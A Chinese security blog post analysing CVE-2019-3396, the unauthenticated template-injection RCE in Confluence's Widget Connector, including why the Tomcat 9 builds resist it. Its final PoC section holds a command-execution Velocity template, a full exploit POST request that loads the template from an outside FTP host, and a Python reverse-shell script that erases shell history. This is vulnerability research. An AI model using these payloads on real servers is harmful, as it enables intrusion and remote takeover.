Lucifaer's Blog.

Confluence 未授权RCE分析(CVE-2019-3396)

Word count: 3,081 / Reading time: 13 min
2019/04/16 Share

这个漏洞本来是上周一就分析完了,但是高版本无法造成rce这个问题着实困扰了我很久,在得出了一定的结论后才写完了这篇文章。总体来说,这个漏洞真的是值得好好跟一下,好好研究一下的,能学到很多东西。

0x01 漏洞概述

There was an server-side template injection vulnerability in Confluence Server and Data Center, in the Widget Connector. An attacker is able to exploit this issue to achieve server-side template injection, path traversal and remote code execution on systems that run a vulnerable version of Confluence Server or Data Center.

根据官方文档的描述,可以看到这是由Widget Connector这个插件造成的SSTI,利用SSTI而造成的RCE。在经过diff后,可以确定触发漏洞的关键点在于对post包中的_template字段:

可以看到修补措施还是很暴力的。

所以我们可以从com.atlassian.confluence.extra.widgetconnector来入手分析。

0x02 概述

分析这个漏洞应该从两个方面入手:

  • Widget Connector插件
  • tomcat类加载机制

Widget Connector插件这个方面主要是由于其可以未授权访问,同时允许传入一个外部资源链接。而tomcat的类加载机制决定了这个可控的外部资源链接的内容是可被加载的,最终,被加载的资源被注入到默认模版中,并执行VTL表达式。所以这个漏洞在真正利用的时候是取决于两个因素的,缺一不可。

在真正分析的时候真正的难点不是diff找出漏洞点,而是在于漏洞在存在漏洞的6.6-6.9版本是可以利用filehttps等协议加载外部资源的,而在6.14.1这个存在漏洞的版本是没有办法加载外部资源的。而这一点也是我和BadCode老哥交流了将近2-3天一直没有跟到的点,最终在我对比了两个版本的区别时,才推测出这个问题是由tomcat本身导致。

下面的漏洞分析基于confluence 6.6.11版本。

0x03 漏洞分析

3.1 Widget Connector

从diff的点入手,首先看com.atlassian.confluence.extra.widgetconnector#execute

这里有几个值得注意的点:

  • 获取到的是一个Map类型的parameters
  • parameters中存在url这个字段流程就会进入this.renderManager.getEmbeddedHtml(也就是DefaultRenderManager.getEmbeddedHtml)

这里的parameters就是我们在向widgetconnector插件发送post请求时包中的params字段的内容。(如果不清楚如何构造post请求包的话,可以参考widget文章,然后抓一个包看一下就好)

跟进getEmbeddedHtml看一下:

可以看到这里的var3是一个WidgetRenderer的List,我们来看一下这个List中有什么内容:

可以看到是所有WidgetRenderer的具体实现,在各个实现当中都实现了matches方法,而这个方法是检查url字段中是否存在其所对应的url,这里拿ViddlerRenderer来举例子:

也就是说在构造请求的时候需要存在相应的字段才能进入相应的实现类处理不同的请求。

在看各个具体实现时,会发现大部分的实现都会将一个固定的_template字段置于params中,比如FlickrRenderer

但是也有一些实现类并没有这样做,比如GoogleVideoRenderer

从补丁中我们可以看到,漏洞触发的关键点是要求_template字段可控,所以满足这一条件的只有这么几个:

  • GoogleVideoRenderer
  • EpisodicRenderer
  • TwitterRenderer
  • MetacafeRenderer
  • SlideShareRenderer
  • BlipRenderer
  • DailyMotionRenderer
  • ViddlerRenderer

可以看到满足条件的实现类最终都是进入this.velocityRenderService.render来处理的,跟进看一下:

该方法对widthheight_template进行了校验及初始化过程,最关键的是将处理后的数据传入getRenderedTemplate,这里很好跟一路向下跟进到org.apache.velocity.runtime.RuntimeInstance#getTemplate

这里注意这个i参数为1,后面会有用到。继续向下跟进org.apache.velocity.runtime.RuntimeInstance.ConfigurableResourceManager#getResource:

如果是首次处理请求的话,是无法从全局的缓存中找到资源的,所以这里可以跟进else中的处理来具体看一下具体处理的:

这里会遍历this.resourceLoaders里面的资源加载器,然后利用可控的资源名以及resourceType为1的参数去初始化一个Resource类。我们看一下这里的Resource类的实例化过程,这里我下了个断看了一下调用的是那个ResourceFactory

注意到是ConfluenceResourceFactory,这里跟进看一下:

也就是说Resource的具体初始化过程为:

ConfluenceVelocityTemplateImplTemplate类的一个子类,也就是说之后的过程就是加载模版,解析模版的过程。所以我们来看一下这里的resourceLoaders中的资源加载器是什么:

  • com.atlassian.confluence.setup.velocity.HibernateResourceLoader
  • org.apache.velocity.runtime.resource.loader.FileResourceLoader
  • org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
  • com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader

在以上四个资源加载器中,HibernateResourceLoader是ORM资源加载器,DynamicPluginResourceLoader是动态插件资源加载器,这两个和我们的利用都没有什么具体的关系,而FileResourceLoader可以读取文件,ClasspathResourceLoader可以加载文件。RCE的点也在于ClasspathResourceLoader中。

具体跟一下ClasspathResourceLoader#getResourceStream

这里在ClassUtils#getResourceAsStream中的处理过程非常有意思,有意思的点在于这里完成了两个操作(以下分析为个人理解,如果有问题希望各位斧正):

  • osgi对于类加载的跟踪与检查
  • tomcat基于双亲委派模型的类加载架构

当Java虚拟机要加载一个类时,会进行如下的步骤:

  • 首先当前线程的类加载器去加载线程中的第一个类(假设为类A)注:(当前线程的类加载器可以通过Thread类的getContextClassLoader()获得,也可以通过setContextClassLoader()自己设置类加载器)
  • 如果类A中引用了类B,Java虚拟机将使用加载类A的类加载器去加载类B
  • 还可以直接调用ClassLoader.loadClass()方法来指定某个类加载器去加载某个类

而在进行第一步时首先会尝试用BundleDelegatingClassLoader来进行类加载:

这里的BundleDelegatingClassLoader是osgi自己的类加载器,主要用于进行类加载的跟踪,这里主要用于在osgi中寻找相关的依赖类,如果找不到的话,再以tomcat实现的双亲委派模型从上至下进行加载。

3.2 Tomcat类加载

ok,这里比较麻烦的一个问题已经解决,我们所知这里所用的classLoader最终为ClasspathResourceLoader,而ClasspathResourceLoader是继承于ResourceLoader的,那么ResourceLoader的上层是什么呢,这个时候就要看tomcat的类加载架构了:

WebappClassLoader加载WEB-INF/*中的类库,所以这里是转交到WebappClassLoader来进行处理的,在动态调试过程中我们也可以清晰的看到这个过程:

这里要注意两点:

  • ClasspathResourceLoader上层为WebappClassLoader
  • javase的类加载器为ExtClassLoader且ucp为URLClassPath

WebappClassLoader中其具体操作是转交由父类WebappClassLoaderBase来进行处理的,这里只截关键的处理点:

我们可以看到这里是根据name也就是我们传入的_template来实例化一个URL类的url,我们来跟一下看看这个url的实例化流程:

这里调用了super.findResource来进行处理,跟进看一下:

这里调用了java.net.URLClassLoader#findResource在URL搜索路径中查找指定名称的资源,可以看到这里会执行upc.findResource,即URLClassPath.findResource。这里会在URL搜索路径中查找具有指定名称的资源,如果找到相应的资源,则调用check方法进行权限检查,并加载相应的资源:

这里有两种形式加载资源分别是通过读文件(file协议),或者通过相应的协议去访问相应的jar包(jar协议)。

回过头来继续跟URLClassPath.findResource的处理过程:

这里非常好理解,首先通过传入的var1字段在已加载的ClassLoader缓存中进行查找,如果找到相应的加载器,则返回这个加载器的数组,若没找到则返回null:

之后遍历这个加载器数组,调用每个加载器的findResource方法,通过var1字段寻找相应的资源。在这里可以看到加载器数组中只存在一个加载器URLClassPath$Loader,我们跟进看一下这个加载器的实现:

可以明显看到向this.base发送了请求,获取了一个资源,我们看一下这个this.base是什么:

可以看到这里是向felix.extensions.ExtensionManager发送了请求,felix是一个osgi框架,也就是说我们现在需要跟进到osgi中,我们来看一下处理这个osgi请求的是什么:

我们跟进org.apache.felix.framework.URLHandlerStreamHandlerProxy#openConnection中看一下:

可以看到致此完成了请求的发送。以上我们就完成整条rce利用链的分析。

3.3 6.6.x-6.9.x与6.14.1的区别

当我们分析完rce的流程并成功弹出计算器后,整个漏洞就已经分析完了么?并没有。

以上的分析都是在confluence 6.6.11版本上进行的,但不幸的是我最初分析的版本是confluence 6.14.1版本,利用file协议任意读文件的poc我并没有执行成功,我只能利用相对路径来读取当前目录的文件,这不禁激发了我的探索欲,我想知道为啥较高版本就没有办法rce了。

在我进行调试后,我发现了ClasspathResourceLoader在向上找父类时获得的父类并不是WebappClassLoader而是ParalleWebappClassLoader,导致最终在URLClassPath#findResource时,其并未调用URLClassPath$LoaderfindResource,而是调用的URLClassPath$JarLoaderfindResource

这里返回的肯定是null,并不会向外发送请求并获取资源。可以说这个问题的关键点就在于WebappClassLoaderParalleWebappClassLoader中的upc的类型不同,那为什么会在代码相同的情况下,会造成加载偏差呢?关键点在于6.14.1是使用的tomcat9,而6.6.x-6.9.x使用的是tomcat8。不同tomcat版本的区别在于其默认的loader是不同的:

-w1188

-w1188

在tomcat9中默认的loader是ParalleWebappClassLoader,在tomcat8中则是WebappClassLoader,关于其upc为什么不同,这一点我推荐各位看一下这篇文章

0x04 构造POC

这里其实改一下poc就好,正常的写Velocity的语法就好,下面执行命令的poc引用https://github.com/jas502n/CVE-2019-3396:

1
2
3
4
5
6
7
8
9
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end

反弹shell的:

请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 232
X-Forwarded-For: 127.0.0.2
Connection: keep-alive

{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}

nc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name

def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()

if __name__ == '__main__':
main()

效果:

-w1436

0x05 Reference

CATALOG
  1. 1. 0x01 漏洞概述
  2. 2. 0x02 概述
  3. 3. 0x03 漏洞分析
    1. 3.1. 3.1 Widget Connector
    2. 3.2. 3.2 Tomcat类加载
    3. 3.3. 3.3 6.6.x-6.9.x与6.14.1的区别
  4. 4. 0x04 构造POC
  5. 5. 0x05 Reference